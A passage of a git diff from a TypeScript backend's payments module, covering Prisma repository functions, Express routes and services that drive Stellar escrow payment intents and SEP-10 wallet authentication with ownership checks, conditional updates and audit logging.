id } }) : null; +} + +/** `created -> awaiting_signature` (issue #80). Conditional, so two + * concurrent prepare requests can never both produce a live transaction. */ +export async function markAwaitingSignature( + tx: Prisma.TransactionClient, + id: string, + input: { + preparedTxHash: string; + preparedXdr: string; + preparedExpiryLedger: number; + preparedExpiresAt: Date; + refundAfter: Date; + }, +): Promise { + const result = await tx.paymentIntent.updateMany({ + where: { id, status: 'created' }, + data: { status: 'awaiting_signature', ...input }, + }); + return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; +} + +/** `awaiting_signature -> created`, only if the prepared transaction is + * actually past its window (issue #80). A prepare that raced this update + * sees zero rows and re-reads instead of clobbering it. */ +export async function expirePrepared( + tx: Prisma.TransactionClient, + id: string, + now: Date, +): Promise { + const result = await tx.paymentIntent.updateMany({ + where: { id, status: 'awaiting_signature', preparedExpiresAt: { lte: now } }, + data: { + status: 'created', + preparedTxHash: null, + preparedXdr: null, + preparedExpiryLedger: null, + preparedExpiresAt: null, + refundAfter: null, + }, + }); + return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; +} + +/** Ids for one expiry-sweep page, oldest deadline first. */ +export function findExpiredPreparedIntentIds(now: Date, take: number): Promise { + return prisma.paymentIntent + .findMany({ + where: { status: 'awaiting_signature', preparedExpiresAt: { lte: now } }, + orderBy: [{ preparedExpiresAt: 'asc' }, { id: 'asc' }], + take, + select: { id: true }, + }) + .then((rows) => rows.map((row) => row.id)); +} + +export async function markStatus( + tx: Prisma.TransactionClient, + id: string, + from: PaymentIntentStatus, + to: PaymentIntentStatus, +) { + const result = await tx.paymentIntent.updateMany({ where: { id, status: from }, data: { status: to } }); + return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; +} + +/** Existence check for the account-deletion retention hold (issue #41). */ +export async function patientHasPaymentIntents(patientProfileId: string): Promise { + return (await prisma.paymentIntent.findFirst({ where: { patientProfileId }, select: { id: true } })) !== null; +} + +// --- SEP-10 (Stellar Web Authentication) β€” issue #77 ---------------------- +// One row per issued challenge. The nonce comes from the challenge +// transaction's first Manage Data op; its uniqueness makes a challenge +// single-use at the DB level. + +export function createSep10Challenge(input: { userId: string; account: string; nonce: string; expiresAt: Date }) { + return prisma.sep10Challenge.create({ data: input }); +} + +export function findSep10ChallengeByNonce(nonce: string) { + return prisma.sep10Challenge.findUnique({ where: { nonce } }); +} + +/** Atomically consumes a challenge β€” ONE conditional UPDATE, no + * read-then-write. Only a row that is still unconsumed AND unexpired + * moves to `consumedAt`; the returned `count` tells the caller whether + * THIS request won the race. Two concurrent replays of the same signed + * challenge can never both see `count === 1`. Same DB-level pattern as + * booking's conditional slot update (ARCHITECTURE.md Β§5.1). */ +export function consumeSep10Challenge(nonce: string, consumedAt: Date) { + return prisma.sep10Challenge.updateMany({ + where: { nonce, consumedAt: null, expiresAt: { gt: consumedAt } }, + data: { consumedAt }, + }); +} diff --git a/backend/src/modules/payments/routes/index.ts b/backend/src/modules/payments/routes/index.ts index acba316b..f0941e6d 100644 --- a/backend/src/modules/payments/routes/index.ts +++ b/backend/src/modules/payments/routes/index.ts @@ -1,75 +1,75 @@ -import { Router } from 'express'; -import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; -import * as paymentsController from '../controllers'; - -export const paymentsRouter = Router(); - -paymentsRouter.get('/mine', authenticate, requireRole('patient'), paymentsController.listMyPayments); -paymentsRouter.get('/facility/ledger', authenticate, requireRole('facility'), paymentsController.listFacilityLedger); - -// Facility manages its own payout wallet. -paymentsRouter.post( - '/wallet-link', - authenticate, - requireRole('facility'), - requireVerifiedEmail, - paymentsController.linkWallet, -); -paymentsRouter.get('/wallet-link', authenticate, requireRole('facility'), paymentsController.getOwnWallet); - -paymentsRouter.get('/intents/:id', authenticate, requireRole('admin'), paymentsController.getIntent); - -// ADR 0005 step 2 (issue #80) β€” the patient prepares their own intent for -// signing. Ownership is enforced in the service (not merely by the role), -// and someone else's intent is a 404 rather than a 403. Money does not move -// in this call, but it is the first half of a payment, so it sits behind -// the same verified-email gate as fund. -paymentsRouter.post( - '/intents/:id/prepare', - authenticate, - requireRole('patient'), - requireVerifiedEmail, - paymentsController.prepareIntent, -); -paymentsRouter.post( - '/intents/:id/fund', - authenticate, - requireRole('admin'), - requireVerifiedEmail, - paymentsController.fundIntent, -); -paymentsRouter.post( - '/intents/:id/release', - authenticate, - requireRole('admin'), - requireVerifiedEmail, - paymentsController.releaseIntent, -); -paymentsRouter.post( - '/intents/:id/refund', - authenticate, - requireRole('admin'), - requireVerifiedEmail, - paymentsController.refundIntent, -); - -// SEP-10 Stellar Web Authentication (issue #77, ADR 0005 step 4): prove -// the caller controls a Stellar address before it is ever trusted as a -// payer or payee. Any authenticated role may link a wallet (patient -// wallets become the payer in v2; facility payout wallets replace the -// type-the-address form), so no role gate here β€” but a VERIFIED address -// is required, same as every other payments mutation in this module -// (issue #34): a wallet link gated only by a possibly-unverified email -// would be a bypass of the guard POST /payments/wallet-link already has. -paymentsRouter.get( - '/sep10/challenge', - authenticate, - requireVerifiedEmail, - paymentsController.sep10Challenge, -); -paymentsRouter.post( - '/sep10/verify', - authenticate, - requireVerifiedEmail, - paymentsController.sep10Verify, -); +import { Router } from 'express'; +import { authenticate, requireRole, requireVerifiedEmail } from '../../../middleware/auth'; +import * as paymentsController from '../controllers'; + +export const paymentsRouter = Router(); + +paymentsRouter.get('/mine', authenticate, requireRole('patient'), paymentsController.listMyPayments); +paymentsRouter.get('/facility/ledger', authenticate, requireRole('facility'), paymentsController.listFacilityLedger); + +// Facility manages its own payout wallet. +paymentsRouter.post( + '/wallet-link', + authenticate, + requireRole('facility'), + requireVerifiedEmail, + paymentsController.linkWallet, +); +paymentsRouter.get('/wallet-link', authenticate, requireRole('facility'), paymentsController.getOwnWallet); + +paymentsRouter.get('/intents/:id', authenticate, requireRole('admin'), paymentsController.getIntent); + +// ADR 0005 step 2 (issue #80) β€” the patient prepares their own intent for +// signing. Ownership is enforced in the service (not merely by the role), +// and someone else's intent is a 404 rather than a 403. Money does not move +// in this call, but it is the first half of a payment, so it sits behind +// the same verified-email gate as fund. +paymentsRouter.post( + '/intents/:id/prepare', + authenticate, + requireRole('patient'), + requireVerifiedEmail, + paymentsController.prepareIntent, +); +paymentsRouter.post( + '/intents/:id/fund', + authenticate, + requireRole('admin'), + requireVerifiedEmail, + paymentsController.fundIntent, +); +paymentsRouter.post( + '/intents/:id/release', + authenticate, + requireRole('admin'), + requireVerifiedEmail, + paymentsController.releaseIntent, +); +paymentsRouter.post( + '/intents/:id/refund', + authenticate, + requireRole('admin'), + requireVerifiedEmail, + paymentsController.refundIntent, +); + +// SEP-10 Stellar Web Authentication (issue #77, ADR 0005 step 4): prove +// the caller controls a Stellar address before it is ever trusted as a +// payer or payee. Any authenticated role may link a wallet (patient +// wallets become the payer in v2; facility payout wallets replace the +// type-the-address form), so no role gate here β€” but a VERIFIED address +// is required, same as every other payments mutation in this module +// (issue #34): a wallet link gated only by a possibly-unverified email +// would be a bypass of the guard POST /payments/wallet-link already has. +paymentsRouter.get( + '/sep10/challenge', + authenticate, + requireVerifiedEmail, + paymentsController.sep10Challenge, +); +paymentsRouter.post( + '/sep10/verify', + authenticate, + requireVerifiedEmail, + paymentsController.sep10Verify, +); diff --git a/backend/src/modules/payments/services/index.ts b/backend/src/modules/payments/services/index.ts index 82d69c4f..0b0945b0 100644 --- a/backend/src/modules/payments/services/index.ts +++ b/backend/src/modules/payments/services/index.ts @@ -1,735 +1,735 @@ -// payments services β€” this module owns PaymentIntent/WalletLink/ -// PatientWalletLink (relational metadata only β€” no PHI ever passes through -// here) and delegates actual escrow contract calls to -// @docforum/escrow-sdk. This module does NOT reimplement contract logic β€” it -// calls the SDK, persists the resulting tx hash/status, and exposes that -// status to other core modules through this services/ interface, per -// AGENTS.md module-boundary rule. -// -// Custodial v1 (see docs/adr/0004-custodial-payments-v1.md) still funds -// escrows from the platform's own payer identity. ADR 0005 adds the -// non-custodial path: issue #79 made the asset explicit per intent, and -// issue #80 adds prepare(), which builds the patient-signed transaction. -// Release/refund are unchanged. -import { HttpError } from '../../../http-error'; -import { config, type PaymentAsset } from '../../../config'; -import type { PaymentIntent, PaymentIntentStatus } from '@prisma/client'; -import * as paymentsRepo from '../repositories'; -import { loadEscrowSdk, type EscrowSdkKeypair } from './escrow-sdk-loader'; -import { hasTrustline } from './trustline'; -import { getPlatformSigners } from './platform-signers'; -import { resolveEscrowPayee } from './payout-privacy'; -import { getMyPatientProfile, paginate, type PatientExportSection } from '../../patients/services'; -import { prisma } from '../../../db/prisma-client'; -import { parseStroopsAmount } from '../../../utils/stroops'; -import * as auditService from '../../audit/services'; -import type { Prisma } from '@prisma/client'; -import { transitionPaymentIntentStatus } from './state-machine'; -// Types are inferred from the prisma instance; use 'as' assertions where needed - -// Test seams re-exported through the service surface (same convention as the -// auth module's setEmailSender) β€” see escrow-sdk-loader.ts and trustline.ts. -export { setEscrowSdkForTests } from './escrow-sdk-loader'; -export { listEscrowEvents } from './escrow-events'; -export type { EscrowSdkModule } from './escrow-sdk-loader'; -export { setTrustlineCheckerForTests } from './trustline'; -export type { TrustlineChecker } from './trustline'; - -/** - * The prepare half of ADR 0005 step 2. `@docforum/escrow-sdk` 0.2.0 (the - * version this repo currently depends on) has no prepare call β€” that is - * docforum-escrow issue #58 / SDK 0.3.0, and issue #80 depends on it. The - * types below are the contract this module codes against; when the SDK - * publishes it, only `prepareCreateEscrow` below needs to be typed more - * strictly. Until then the call is detected at runtime and the endpoint - * returns a clear 503 instead of pretending to prepare something it can't. - */ -export interface PrepareCreateEscrowParams { - payer: string; - payee: string; - token: string; - amount: bigint; - conditionRef: string; - releaser: string; - /** Unix seconds, matching the contract's `refund_after` (ADR 0005). */ - refundAfter: bigint; -} - -export interface PreparedCreateEscrow { - xdr: string; - txHash: string; - expiryLedger: number; -} - -interface PrepareCapableClient { - prepareCreateEscrow?: (params: PrepareCreateEscrowParams) => Promise; -} - -// SEP-10 Stellar Web Authentication (issue #77). Re-exported through -// this module's service surface (not imported file-by-file from outside) -// per the AGENTS.md module-boundary rule β€” same pattern as the auth -// module's token/throttle re-exports. -export { - createSep10Challenge, - verifySep10Challenge, - resetSep10AccountFetcher, - setSep10AccountFetcher, - validateSep10Config, -} from './sep10'; -export type { Sep10AccountFetcher, Sep10AccountInfo, Sep10ChallengeResponse, Sep10Signer, Sep10VerifyResult } from './sep10'; - -async function requirePaymentsConfig() { - // The per-asset token contract comes from the intent (issue #79), so the - // legacy ESCROW_TOKEN_ID is no longer required for every payment path. - const { activeContractId } = config.payments; - if (!activeContractId) { - throw new HttpError(500, 'Payments is not configured β€” missing env var(s): activeContractId.'); - } - const { payer, releaser } = await getPlatformSigners(); - return { - platformPayer: payer, - platformReleaser: releaser, - escrowContractId: activeContractId, - }; -} -async function escrowClient(contractId: string) { - const { EscrowClient } = await loadEscrowSdk(); - return new EscrowClient({ contractId, rpcUrl: config.payments.rpcUrl, networkPassphrase: config.payments.networkPassphrase }); -} - -export async function verifyPaymentsNetwork(): Promise { - const { startupCheckEnabled, activeContractId, healthCheckEscrowId } = config.payments; - if (!startupCheckEnabled) return; - if (!activeContractId || healthCheckEscrowId === null) { - throw new Error('Payments startup verification is enabled without an active contract and health-check escrow.'); - } - try { - await (await escrowClient(activeContractId)).getStatus(healthCheckEscrowId); - } catch (cause) { - throw new Error('Payments startup verification failed: active escrow contract is unreachable or the configured health-check escrow is invalid.', { cause }); - } -} - -function requireRecordedContractId(intent: { sorobanContractId: string | null }): string { - const contractId = intent.sorobanContractId; - if (!contractId) throw new HttpError(409, 'PaymentIntent has no recorded escrow contract id.'); - if (!config.payments.contractIds.includes(contractId)) { - throw new HttpError(409, 'PaymentIntent references an unregistered escrow contract.'); - } - return contractId; -} -export async function getOwnFacilityProfileId(userId: string): Promise { - const profile = await paymentsRepo.findFacilityProfileByUserId(userId); - if (!profile) throw new HttpError(403, 'No facility profile is associated with this account.'); - return profile.id; -} - -/** The caller's patient profile id β€” every patient-scoped payment read is - * owned through this, never through a client-supplied profile id. */ -export async function getOwnPatientProfileId(userId: string): Promise { - const profile = await paymentsRepo.findPatientProfileByUserId(userId); - if (!profile) throw new HttpError(403, 'No patient profile is associated with this account.'); - return profile.id; -} - -export function linkWallet(facilityId: string, stellarPublicKey: string) { - return paymentsRepo.upsertWalletLink(facilityId, stellarPublicKey); -} - -export function getWalletLink(facilityId: string) { - return paymentsRepo.findWalletLinkByFacilityId(facilityId); -} - -export function getPatientWalletLink(patientProfileId: string) { - return paymentsRepo.findPatientWalletLinkByPatientProfileId(patientProfileId); -} - -/** The per-environment allowlist (issue #79). An intent may only be created - * in one of these assets. */ -export function listPaymentAssets(): PaymentAsset[] { - return config.payments.assets; -} - -function resolveAsset(code: string): PaymentAsset { - const asset = config.payments.assets.find((candidate) => candidate.code === code); - if (!asset) { - throw new HttpError( - 400, - `Unsupported payment asset '${code}'. Allowed: ${config.payments.assets.map((a) => a.code).join(', ')}.`, - 'UNSUPPORTED_PAYMENT_ASSET', - ); - } - return asset; -} - -/** - * Resolves the asset recorded on an intent. Rows created before issue #79 - * have no `tokenContractId` and were native XLM funded against - * `ESCROW_TOKEN_ID` β€” the documented legacy fallback. The allowlist only - * supplies `decimals`/`issuer` for the response; the stored contract id - * wins so an intent keeps paying the asset it was denominated in even if - * the allowlist entry is later rotated. - */ -function resolveAssetForIntent(intent: PaymentIntent): PaymentAsset { - const configured = config.payments.assets.find((asset) => asset.code === intent.assetCode); - const tokenContractId = - intent.tokenContractId ?? - (intent.assetCode === 'XLM' ? config.payments.escrowTokenId : undefined) ?? - configured?.tokenContractId; - if (!tokenContractId) { - throw new HttpError( - 409, - `PaymentIntent uses asset '${intent.assetCode}', whose token contract is not configured.`, - 'PAYMENT_ASSET_NOT_CONFIGURED', - ); - } - return { - code: intent.assetCode, - tokenContractId, - decimals: configured?.decimals ?? 0, - ...(configured?.issuer ? { issuer: configured.issuer } : {}), - }; -} - -/** Checks the payee can hold the asset before any on-chain call. Native XLM - * passes unconditionally; an issued asset needs an authorised trustline. */ -async function requirePayeeTrustline(payee: string, asset: PaymentAsset): Promise { - if (!asset.issuer) return; - if (!(await hasTrustline(payee, asset))) { - throw new HttpError( - 409, - `The facility's linked wallet has no trustline for ${asset.code}. Ask the facility to link a wallet that can hold ${asset.code}.`, - 'PAYEE_TRUSTLINE_MISSING', - ); - } -} - -export interface CreatePaymentIntentInput { - orderType: 'prescription' | 'lab_order'; - orderId: string; - patientProfileId: string; - facilityId: string; - assetCode: string; - /** Smallest unit of `assetCode`. */ - amount: bigint; -} - -export function createPaymentIntent(input: CreatePaymentIntentInput) { - if (input.amount <= 0n) throw new HttpError(400, 'amount must be positive.'); - const asset = resolveAsset(input.assetCode); - return paymentsRepo.createPaymentIntent({ - orderType: input.orderType, - orderId: input.orderId, - patientProfileId: input.patientProfileId, - facilityId: input.facilityId, - assetCode: asset.code, - tokenContractId: asset.tokenContractId, - amount: input.amount, - }); -} - -/** Called by the orders module inside the order-issuance transaction. A - * created intent moves to a corrected order; any funded/terminal intent - * stays attached to the immutable original order. - * - * `catalogItemCode` is snapshotted alongside the amount: the amount is the - * facility price in force when the doctor selected the facility, so a later - * price-list change cannot re-price an existing intent (issue #127). */ -export async function createIntentForIssuedOrder(tx: Prisma.TransactionClient, input: { - kind: 'prescription' | 'lab_order'; orderId: string; patientProfileId: string; doctorProfileId: string; - facilityProfileId: string; amountStroops: bigint; supersedesId: string | null; - catalogItemCode?: string | null; -}) { - // Same guard the facility price list uses: positive integer stroops that - // fit the asset's precision and the contract's i128 amount. Orders are - // still priced in native XLM; issue #79 made the intent's asset explicit - // so this write path has to name it rather than imply it. - const amountStroops = parseStroopsAmount(input.amountStroops, 'amountStroops'); - const asset = resolveAsset('XLM'); - const catalogItemCode = input.catalogItemCode ?? null; - const facility = await tx.facilityProfile.findUnique({ where: { id: input.facilityProfileId }, select: { type: true } }); - const expectedType = input.kind === 'prescription' ? 'pharmacy' : 'lab'; - if (!facility || facility.type !== expectedType) throw new HttpError(400, `The selected facility must be a ${expectedType} facility.`); - - const orderPointer = input.kind === 'prescription' - ? { prescriptionId: input.orderId, labOrderId: null } - : { prescriptionId: null, labOrderId: input.orderId }; - if (input.supersedesId) { - const previous = await tx.paymentIntent.findFirst({ - where: input.kind === 'prescription' ? { prescriptionId: input.supersedesId } : { labOrderId: input.supersedesId }, - }); - if (previous?.status === 'created') { - const moved = await tx.paymentIntent.updateMany({ - where: { id: previous.id, status: 'created' }, - data: { - ...orderPointer, - patientProfileId: input.patientProfileId, - facilityId: input.facilityProfileId, - amount: amountStroops, - assetCode: asset.code, - tokenContractId: asset.tokenContractId, - catalogItemCode, - }, - }); - if (moved.count === 1) return tx.paymentIntent.findUniqueOrThrow({ where: { id: previous.id } }); - } - } - return tx.paymentIntent.create({ - data: { - ...orderPointer, - patientProfileId: input.patientProfileId, - facilityId: input.facilityProfileId, - amount: amountStroops, - assetCode: asset.code, - tokenContractId: asset.tokenContractId, - catalogItemCode, - }, - }); -} - -export async function getPaymentIntent(id: string) { - const intent = await paymentsRepo.findPaymentIntentById(id); - if (!intent) throw new HttpError(404, 'PaymentIntent not found.'); - return intent; -} - -export interface PaymentHistoryFilters { - status?: PaymentIntentStatus; - from?: Date; - to?: Date; - cursor?: string; - limit: number; -} - -function encodePaymentCursor(payment: { createdAt: Date; id: string }): string { - return Buffer.from(`${payment.createdAt.toISOString()}|${payment.id}`, 'utf8').toString('base64url'); -} - -function decodePaymentCursor(cursor: string): { createdAt: Date; id: string } { - const raw = Buffer.from(cursor, 'base64url').toString('utf8'); - const separator = raw.indexOf('|'); - const createdAt = new Date(raw.slice(0, separator)); - const id = raw.slice(separator + 1); - if (separator < 1 || Number.isNaN(createdAt.getTime()) || !id) { - throw new HttpError(400, 'Invalid cursor.', 'INVALID_CURSOR'); - } - return { createdAt, id }; -} - -function paymentPage(filters: PaymentHistoryFilters, owner: { patientProfileId: string } | { facilityId: string }) { - return paymentsRepo.findPaymentHistoryPage(owner, { - status: filters.status, - from: filters.from, - to: filters.to, - before: filters.cursor ? decodePaymentCursor(filters.cursor) : undefined, - take: filters.limit + 1, - }); -} - -function serializeAsset(code: string) { - return { type: code === 'XLM' ? 'native' : 'issued', code }; -} - -function serializePayment(payment: PaymentIntent) { - return { - id: payment.id, - orderType: payment.prescriptionId ? 'prescription' : 'lab_order', - orderId: payment.prescriptionId ?? payment.labOrderId, - status: payment.status, - amount: payment.amount.toString(), - assetCode: payment.assetCode, - asset: serializeAsset(payment.assetCode), - escrowId: payment.escrowId?.toString() ?? null, - stellarTxHash: payment.stellarTxHash, - sorobanContractId: payment.sorobanContractId, - refundAfter: payment.refundAfter, - createdAt: payment.createdAt, - updatedAt: payment.updatedAt, - }; -} - -async function listPayments(filters: PaymentHistoryFilters, owner: { patientProfileId: string } | { facilityId: string }) { - const rows = await paymentPage(filters, owner); - const page = rows.slice(0, filters.limit); - const last = page[page.length - 1]; - return { - items: page.map(serializePayment), - nextCursor: rows.length > filters.limit && last ? encodePaymentCursor(last) : null, - }; -} - -export async function listMyPayments(userId: string, filters: PaymentHistoryFilters) { - const profile = await getMyPatientProfile(userId); - return listPayments(filters, { patientProfileId: profile.id }); -} - -export async function listFacilityPaymentLedger(userId: string, filters: PaymentHistoryFilters) { - const facilityId = await getOwnFacilityProfileId(userId); - const [page, aggregates] = await Promise.all([ - listPayments(filters, { facilityId }), - paymentsRepo.aggregateFacilityPayments(facilityId, filters.from, filters.to), - ]); - // Totals are per asset: summing XLM and USDC smallest units would be - // meaningless, so each allowlisted asset gets its own row. - const totalsByAsset = new Map>(); - for (const row of aggregates) { - const byStatus = totalsByAsset.get(row.assetCode) ?? new Map(); - byStatus.set(row.status, (byStatus.get(row.status) ?? 0n) + (row._sum.amount ?? 0n)); - totalsByAsset.set(row.assetCode, byStatus); - } - return { - ...page, - totals: [...totalsByAsset.entries()] - .sort(([a], [b]) => a.localeCompare(b)) - .map(([code, byStatus]) => ({ - asset: serializeAsset(code), - escrowed: (byStatus.get('escrowed') ?? 0n).toString(), - released: (byStatus.get('released') ?? 0n).toString(), - refunded: (byStatus.get('refunded') ?? 0n).toString(), - })), - }; -} - -/** Public, non-identifying references only: the escrow is on a public - * ledger anyway. No patient data, no secrets. */ -function intentAuditMetadata(intent: PaymentIntent) { - return { - orderType: intent.prescriptionId ? 'prescription' : 'lab_order', - orderId: intent.prescriptionId ?? intent.labOrderId!, - amount: intent.amount.toString(), - assetCode: intent.assetCode, - escrowId: intent.escrowId?.toString() ?? null, - stellarTxHash: intent.stellarTxHash, - sorobanContractId: intent.sorobanContractId, - preparedTxHash: intent.preparedTxHash, - }; -} - -/** Commits a status change and its AuditEvent together (issue #43). If the - * row moved on concurrently, nothing is written and the caller gets 409. */ -async function commitTransition( - actor: auditService.AuditActor, - // PaymentIntent row shape from prisma operations; use 'as' since Prisma 7 - // client types may not match the expected exports. - intent: any, - action: string, - to: PaymentIntentStatus, - write: (tx: any) => Promise, -): Promise { - if (transitionPaymentIntentStatus(intent.status, to) !== to) { - throw new HttpError(409, `PaymentIntent cannot transition from '${intent.status}' to '${to}'.`); - } - return prisma.$transaction(async (tx) => { - const updated = await write(tx); - if (!updated) { - throw new HttpError(409, `PaymentIntent changed concurrently β€” it is no longer '${intent.status}'.`); - } - await auditService.record(tx, actor, { - entityType: 'PaymentIntent', - entityId: intent.id, - action, - fromState: intent.status, - toState: to, - metadata: intentAuditMetadata(updated), - }); - return updated; - }); -} - -/** Funds the escrow from the platform's own payer identity. The intent must be `created` and its facility must have a linked wallet (the on-chain payee). */ -export async function fundPaymentIntent(actor: auditService.AuditActor, id: string) { - const intent = await getPaymentIntent(id); - if (transitionPaymentIntentStatus(intent.status, 'escrowed') !== 'escrowed') { - throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'created' β€” cannot fund.`); - } - - const walletLink = await paymentsRepo.findWalletLinkByFacilityId(intent.facilityId); - if (!walletLink) throw new HttpError(409, 'The facility for this payment has no linked wallet.'); - - const { platformPayer, platformReleaser, escrowContractId } = await requirePaymentsConfig(); - const payee = resolveEscrowPayee({ - facilityAddress: walletLink.stellarPublicKey, - mode: config.payments.payoutPrivacyMode, - poolAddress: config.payments.payoutPrivacyPoolAddress, - production: process.env.NODE_ENV === 'production', - }); - - const asset = resolveAssetForIntent(intent); - // The trustline belongs to the address that actually receives the payout, - // which in pooled mode is the pool rather than the facility wallet. - await requirePayeeTrustline(payee, asset); - - const client = await escrowClient(escrowContractId); - - const { escrowId, txHash } = await client.createEscrow({ - payer: platformPayer as unknown as EscrowSdkKeypair, - payee, - token: asset.tokenContractId, - amount: intent.amount, - // The PaymentIntent's own id is the opaque condition_ref β€” the - // contract never interprets it (docforum-escrow ADR 0001); it's - // just how we can trace an on-chain escrow back to this record. - conditionRef: intent.id, - releaser: platformReleaser.publicKey(), - }); - - return commitTransition(actor, intent, 'payment_intent.funded', 'escrowed', (tx) => - paymentsRepo.markEscrowed(tx, id, { - escrowId, - stellarTxHash: txHash, - sorobanContractId: escrowContractId, - // Legacy rows start with a null token id; record what was actually used. - tokenContractId: asset.tokenContractId, - }), - ); -} - -export interface PreparePaymentIntentResult { - intent: PaymentIntent; - xdr: string; - txHash: string; - expiryLedger: number; - expiresAt: Date; - refundAfter: Date; -} - -/** ADR 0005's refund deadline: order expiry + grace. Orders have no expiry - * field yet (Phase 4 placeholders), so the anchor is the later of the - * intent's creation and now β€” preparing a week-old intent must not hand the - * patient a deadline that has already passed. */ -function computeRefundAfter(intent: PaymentIntent, now: Date): Date { - const anchorMs = Math.max(intent.createdAt.getTime(), now.getTime()); - const windowMs = (config.payments.orderExpiryHours + config.payments.refundGraceHours) * 60 * 60 * 1000; - return new Date(anchorMs + windowMs); -} - -/** `awaiting_signature -> created` for one intent. Returns false when it was - * no longer in that state (a concurrent expiry or re-prepare won). */ -async function expirePreparedIntent(id: string, now: Date): Promise { - return prisma.$transaction(async (tx) => { - const updated = await paymentsRepo.expirePrepared(tx, id, now); - if (!updated) return false; - await auditService.record(tx, auditService.SYSTEM_ACTOR, { - entityType: 'PaymentIntent', - entityId: id, - action: 'payment_intent.prepare_expired', - fromState: 'awaiting_signature', - toState: 'created', - metadata: intentAuditMetadata(updated), - }); - return true; - }); -} - -/** Sweep used by src/jobs/payment-intents.ts. Expiry is a normal case, not - * an error: the intent goes back to `created` so the patient can prepare - * again. Conditional updates mean overlapping sweeps are safe. */ -export async function expireStalePreparedIntents(now = new Date(), max = 100): Promise<{ expired: number }> { - let expired = 0; - // Drain the backlog in bounded pages; stop early if a page made no - // progress (every row was claimed by a concurrent worker). - for (;;) { - const ids = await paymentsRepo.findExpiredPreparedIntentIds(now, max); - if (ids.length === 0) break; - let progressed = 0; - for (const id of ids) { - if (await expirePreparedIntent(id, now)) progressed += 1; - } - expired += progressed; - if (ids.length < max || progressed === 0) break; - } - return { expired }; -} - -/** - * Prepares a patient-signed create_escrow transaction (ADR 0005 step 2, - * issue #80). Builds + simulates via the SDK, stores the transaction hash - * and moves the intent to `awaiting_signature` with a conditional update. - * The XDR is returned unsigned; the browser only hands it to the patient's - * wallet and returns the signed bytes to the (not-yet-built) submit route. - */ -export async function preparePaymentIntent( - actor: auditService.AuditActor, - id: string, - now = new Date(), -): Promise { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - const patientProfileId = await getOwnPatientProfileId(actor.userId); - - let intent = await getPaymentIntent(id); - // 404, not 403, for someone else's intent: don't confirm it exists. - if (intent.patientProfileId !== patientProfileId) throw new HttpError(404, 'PaymentIntent not found.'); - - if (intent.status === 'awaiting_signature') { - const live = - intent.preparedXdr !== null && - intent.preparedTxHash !== null && - intent.preparedExpiryLedger !== null && - intent.preparedExpiresAt !== null && - intent.refundAfter !== null; - if (!live) { - throw new HttpError(409, 'This payment already has a prepared transaction.', 'PREPARE_ALREADY_PENDING'); - } - // Idempotent re-prepare while the transaction is still valid: return the - // exact same transaction instead of building a second live one. - if (intent.preparedExpiresAt!.getTime() > now.getTime()) { - return { - intent, - xdr: intent.preparedXdr!, - txHash: intent.preparedTxHash!, - expiryLedger: intent.preparedExpiryLedger!, - expiresAt: intent.preparedExpiresAt!, - refundAfter: intent.refundAfter!, - }; - } - // Past its window but the sweep hasn't run yet β€” expiry is a normal - // case, so roll it back and prepare a fresh transaction now. - await expirePreparedIntent(intent.id, now); - intent = await getPaymentIntent(id); - if (intent.status !== 'created') { - throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'created' β€” cannot prepare.`); - } - } - - if (intent.status !== 'created') { - throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'created' β€” cannot prepare.`); - } - - const patientWallet = await getPatientWalletLink(patientProfileId); - if (!patientWallet) { - throw new HttpError( - 409, - 'No verified Stellar wallet is linked to this patient β€” link one before paying.', - 'WALLET_NOT_LINKED', - ); - } - - const payeeWallet = await getWalletLink(intent.facilityId); - if (!payeeWallet) { - throw new HttpError( - 409, - 'The facility for this payment has no linked wallet.', - 'FACILITY_WALLET_NOT_LINKED', - ); - } - - const asset = resolveAssetForIntent(intent); - await requirePayeeTrustline(payeeWallet.stellarPublicKey, asset); - - const { platformReleaser, escrowContractId } = await requirePaymentsConfig(); - const client = (await escrowClient(escrowContractId)) as unknown as PrepareCapableClient; - if (typeof client.prepareCreateEscrow !== 'function') { - throw new HttpError( - 503, - 'The installed escrow SDK cannot prepare unsigned transactions yet (requires docforum-escrow SDK 0.3.0).', - 'ESCROW_SDK_PREPARE_UNSUPPORTED', - ); - } - - const refundAfter = computeRefundAfter(intent, now); - const prepared = await client.prepareCreateEscrow({ - payer: patientWallet.stellarPublicKey, - payee: payeeWallet.stellarPublicKey, - token: asset.tokenContractId, - amount: intent.amount, - conditionRef: intent.id, - releaser: platformReleaser.publicKey(), - refundAfter: BigInt(Math.floor(refundAfter.getTime() / 1000)), - }); - - const preparedExpiresAt = new Date(now.getTime() + config.payments.prepareTtlSeconds * 1000); - const updated = await commitTransition(actor, intent, 'payment_intent.prepared', 'awaiting_signature', (tx) => - paymentsRepo.markAwaitingSignature(tx, id, { - preparedTxHash: prepared.txHash, - preparedXdr: prepared.xdr, - preparedExpiryLedger: prepared.expiryLedger, - preparedExpiresAt, - refundAfter, - }), - ); - - return { - intent: updated, - xdr: prepared.xdr, - txHash: prepared.txHash, - expiryLedger: prepared.expiryLedger, - expiresAt: preparedExpiresAt, - refundAfter, - }; -} - -/** Releases the escrow to the facility's linked wallet. v1: admin-triggered (see ADR 0004 "Consequences") β€” no automatic FulfillmentRecord trigger yet, since that model doesn't exist. */ -export async function releasePaymentIntent(actor: auditService.AuditActor, id: string) { - const intent = await getPaymentIntent(id); - if (transitionPaymentIntentStatus(intent.status, 'released') !== 'released' || intent.escrowId === null) { - throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'escrowed' β€” cannot release.`); - } - - const { platformReleaser } = await requirePaymentsConfig(); - const client = await escrowClient(requireRecordedContractId(intent)); - - await client.release({ escrowId: intent.escrowId, caller: platformReleaser as unknown as EscrowSdkKeypair }); - - return commitTransition(actor, intent, 'payment_intent.released', 'released', (tx) => - paymentsRepo.markStatus(tx, id, 'escrowed', 'released'), - ); -} - -/** Refunds the escrow back toward the platform payer. v1: admin-triggered, same reasoning as release. */ -export async function refundPaymentIntent(actor: auditService.AuditActor, id: string) { - const intent = await getPaymentIntent(id); - if (transitionPaymentIntentStatus(intent.status, 'refunded') !== 'refunded' || intent.escrowId === null) { - throw new HttpError(409, `PaymentIntent is '${intent.status}', not 'escrowed' β€” cannot refund.`); - } - - const { platformReleaser } = await 